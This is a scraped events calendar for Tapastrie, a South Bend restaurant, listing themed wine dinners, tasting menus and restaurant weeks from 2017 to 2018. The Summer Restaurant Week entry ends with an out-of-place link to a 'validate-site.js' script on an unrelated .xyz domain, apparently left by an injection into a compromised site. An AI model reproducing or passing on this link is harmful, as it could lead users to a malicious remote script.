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December 2017

Feast of the Seven Fishes Dinner! Dec 23

December 23, 2017 @ 4:30 pm - 9:00 pm
Tapastrie, 103 W Colfax
South Bend, IN 46601 United States
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Feast of the Seven Fishes

The Feast of the Seven Fishes is part of the Italian-American Christmas Eve celebration with its origin in Southern Italy, where it is known simply as The Vigil (La Vigilia). Christmas Eve is a vigil or fasting day, and the abundance of seafood reflects the tradition of abstinence from red meat until the actual feast of Christmas Day itself. Today, it is a meal that typically consists of seven different seafood dishes. Join us in the Wine Cellar as we…

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New Year’s Eve Sparkling Wine Dinner

December 31, 2017 @ 6:00 pm - 9:00 pm
Sparkling Wine

Close out the year in style – with a delicious five course dinner, each course paired with a glass of sparkling wine from some of the world’s great areas of production. France, USA, Italy, Spain. Stay tuned for the announcement of the menu and wines. $75 per person! Please reserve a week in advance. No online reservations will be taken for this event. Thanks!

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January 2018

Robert Burns Dinner

January 20 @ 6:00 pm - 9:00 pm
Tapastrie, 103 W Colfax
South Bend, IN 46601 United States
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Join us in the Wine Cellar at TAPASTRIE on Saturday, Jan 20, 6:00pm, for our annual tribute to ROBERT BURNS -- the great Scottish bard! We'll feast on Rabbie's favorite foods, share his poems and songs, and offer up a multitude of toasts to our favorite son of Scotland. Dinner and program $35 per person. Reservations required -- call 574-232-9200.

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Winter Restaurant Week

January 22 @ 4:00 pm - February 4 @ 10:00 pm
Downtown South Bend
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February 2018

TAPAS, WINE, and ROMANCE, AMOUR and MORE!

February 10 @ 4:00 pm - February 14 @ 10:00 pm
Tapastrie, 103 W Colfax
South Bend, IN 46601 United States
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Wine Toast

SAVE THE DATE! Can't make it on Valentines's Day? We have you covered. Saturday Feb 10th, Monday 12th, Tuesday 13th, Wednesday 14th. Tapastrie will be featuring a romantic menu and wine pairing available for 4 nights for you to celebrate your with your loved one in style. The menu will be 5 courses for $40 per person and an optional Wine Pairing for $30. Call 574-232-9200 for reservations. We are closed Sunday February 11th. AMOUR and MORE MENU! Menu $40…

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March 2018

GÉRARD BERTRAND WINE DINNER

March 22 @ 4:30 pm - 9:00 pm
Tapastrie, 103 W Colfax
South Bend, IN 46601 United States
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Join us as we welcome Pierre Olivier of Gérard Bertrand Wines, Teri Stockstill of Southern Glazer Wine & Spirits and Tapastrie Chef Tony Nafrady for a five course dinner featuring the cuisine of southwest France, each paired with a delicious Gérard Bertrand wine from the same region. Thursday, March 22nd MENU BELOW Seats are limited and will fill quickly! Call 574-232-9200 soon for reservations. No online reservations.   Tapastrie Gerard Bertrand Wine Dinner Aperitif: Gerard Bertrand Crémant de Limoux Thomas…

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April 2018

VEGAN DINNER!

April 27 @ 6:00 pm - 8:00 pm

Join us on Friday, April 27th for the Michiana Vegan Living Vegan Dinner. A delicious four course vegan dinner with optional (not necessarily vegan) Wine Pairing. $25.00 plus tax and gratuity for the meal and $25.00 for the wine pairing. Space is limited. Please call 574-232-9200 for pre-paid reservations (no online reservations)

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May 2018

Progressive Dinner!

May 30 @ 6:30 pm - 9:00 pm

Celebrate some of DTSB’s finest restaurants during the Best.Week.Ever! A rare and unique progressive dinner experience starting at LaSalle Grill, followed by Woochi, Tapastrie, and Cafe Navarre. Menu Coming Soon! A four course dinner at $49.00 with an optional wine pairing for $20.00 plus tax and gratuity. Space is limited. Reservations and pre-payment will guarantee your spot. Please call Peggy at Tapastrie. 574-232-9200 soon!

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July 2018

Summer Restaurant Week 2018!

July 9 @ 8:00 am - July 22 @ 9:00 pm
Downtown South Bend
Summer Restaurant Week Menu

Visit Downtown South Bend for Summer Restaurant Week(s), when our local restaurants serve up specially priced menus for breakfast, lunch and dinner with a percentage of each meal donated to Memorial Children's Hospital. It's a great way to experience downtown culture and exciting local food and drink while supporting a great cause. http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52131x6966x&r=3

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October 2018

Six Course Tasting

October 11 @ 6:00 pm - 8:00 pm
Tapastrie, 103 W Colfax
South Bend, IN 46601 United States
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Join us on October 11th for a creative six-course tasting menu  designed by our Executive Chef, Tony Nafrady. Co-owner and Sommelier Tom Welsh will also offer an interesting wine pairing (optional). MENU Curried Ginger & Carrot Soup Celery Root, Green Lentils, Coconut Milk Count Károlyi Grüner Veltliner 2017 - Pannon, Hungary Pickled Radish and Roasted Multi-Colored Carrots Green Peas, Chives, Strained Yogurt Sanford Chardonnay 2016 - Santa Rita Hills, CA Duck Confit Ravioli Fresh Fig, Micro Mustard, Caramel Balsamic Cream Joseph Drouhin Chorey-les-Beaune…

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